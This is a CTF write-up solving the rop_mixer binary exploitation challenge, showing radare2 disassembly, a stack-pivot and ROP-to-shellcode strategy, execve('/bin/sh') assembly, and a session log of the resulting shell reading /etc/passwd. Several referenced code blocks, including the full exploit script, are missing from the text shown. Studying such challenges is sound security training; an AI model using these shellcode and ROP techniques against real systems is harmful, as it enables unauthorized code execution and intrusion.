Trail of Bits released a number of CTF challeleges on Github.
This post is about the
rop_mixer binary exploitation challenge.
rop_mixer challenge is found in the
ctf/exploits/binary2_workshop/rop_mixer/ directory. It contains only a single binary (
rop_mixer), a shell script to make it available over the network with socat and no source code.
This one is different from the other challenges in that it is not a vulnerable application; it doesn’t have any supposed purpose besides being exploited.
| 0x0804884c b83ca00408 mov eax, loc.NASM_BEGIN ... | 0x0804886f c74424080010. mov dword [local_8h], 0x1000 ... | 0x0804887b 89442404 mov dword [local_4h], eax | 0x0804887f c70424000000. mov dword [esp], 0 | 0x08048886 e8e5fbffff call sym.imp.read | 0x0804888b 8d44242c lea eax, [local_2ch] | 0x0804888f 89c4 mov esp, eax \ 0x08048891 c3 ret
Up to 0x1000 bytes are read from stdin into a buffer and then this buffer is swapped with esp. So this new buffer is effectively our new stack and we can feed our rop chain into it directly without fiddling with buffer overflows and offsets. It appears that the rest of the code only exists to provide rop gadgets. I’m not sure if the gadgets are enough to get a shell, I spent some time trying but couldn’t figure it out. Fortunately, this buffer holding our rop chain is also executable.
[0x08048530]> is | grep NASM_BEGIN vaddr=0x0804a03c paddr=0x0000103c ord=121 fwd=NONE sz=0 bind=GLOBAL type=NOTYPE name=NASM_BEGIN [0x08048530]> iS | grep 0x0804a03c idx=25 vaddr=0x0804a03c paddr=0x0000103c sz=784 vsz=784 perm=--rwx name=.ROP_MIX
So the strategy I went with is using the rop chain to redirect execution to the rwx buffer.
However, if we do that, esp and eip will be pointing to the same address and bad things will happen, the return address from this gadget (0x080485e1) will be executed as code (e185
loope 0xfff36d93, 0408
add al, 8).
So the first thing to do is move the stack pointer a little bit further into the buffer and put the
call eax gadget there.
Unfortunately 0x1c bytes does not seem to be enough space for my shellcode, so lets add code to
jmp over the gadget address (which is clobbered by the return address from
call eax at this point) and fill the gap with
nops. So far the exploit string looks like this:
We can use rasm2 (part of Radare2) to assemble arbitrary instructions:
† rasm2 -ix86 'jmp 4' eb02
Using non-ascii characters in strings causes Ruby’s do-what-i-mean semantics to go a little wrong (Ruby is being reasonable, we are the ones trying to do something weird). To deal with that we will run our shell code through an
From this point on we can execute whatever shellcode we want. To
evecve a shell we need:
eax = 0x0b ebx = "/bin/sh" ecx = 0 edx = 0
and then invoke a system call with
The placement of the “/bin/sh” string complicates things. One thing we can do is place it inline with the shell code and then
jmp over it during execution. It is not possible to
mov the value of
eip into a general purpose register though. One way to get the value is to
call and immediately return, leaving
eip on the stack.
mov edi, 0x08048910 call edi mov ebx, esp - 4 jmp 0x0a "/bin/bash" add ebx, 9
We can add them to our exploit string like this:
And what’s left is setting the remaining registers with immediate values and invoking the syscall.
mov eax, 0xb xor ecx, ecx xor edx, edx int 0x80
So our complete exploit string looks like this:
We can spawn the binary locally (useful for debugging) or netcat to connect remotely using Ruby’s PTY module part of the standard library.
Send the exploit string
To make our shell interactive, it does not seem like Ruby has a ready made
interact function, but we can implement it ourselves in a few lines of code. We basically just need to
select(2) on stdin of the script and stdout of
netcat and shuffle data from one world to the other.
And that’s it.
Our interactive shell does not have a $PS1 prompt or job control but it is functional enough. In this example I ran
ls followed by
† ruby mixer_exp.rb nc: using stream socket WELCOME TO THE ROP MIXER There are 49 gadgets GOOD LUCK WITH YOUR GADGETS TÐ(ÐÐZÐÐÐRÐWÐSÐÐÐ_ÐÐ0Ð]Ð̀Ð ÐÐQÐ8ÐÐUÐÐVÐXÐ^ÐÐYÐ[ÐÐ$ÐPÐEÐÐÐ\Ðls host.sh rop_mixer head /etc/passwd root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/bin/false daemon:x:2:2:daemon:/sbin:/bin/false adm:x:3:4:adm:/var/adm:/bin/false lp:x:4:7:lp:/var/spool/lpd:/bin/false sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt news:x:9:13:news:/var/spool/news:/bin/false uucp:x:10:14:uucp:/var/spool/uucp:/bin/false
Below is the full exploit script.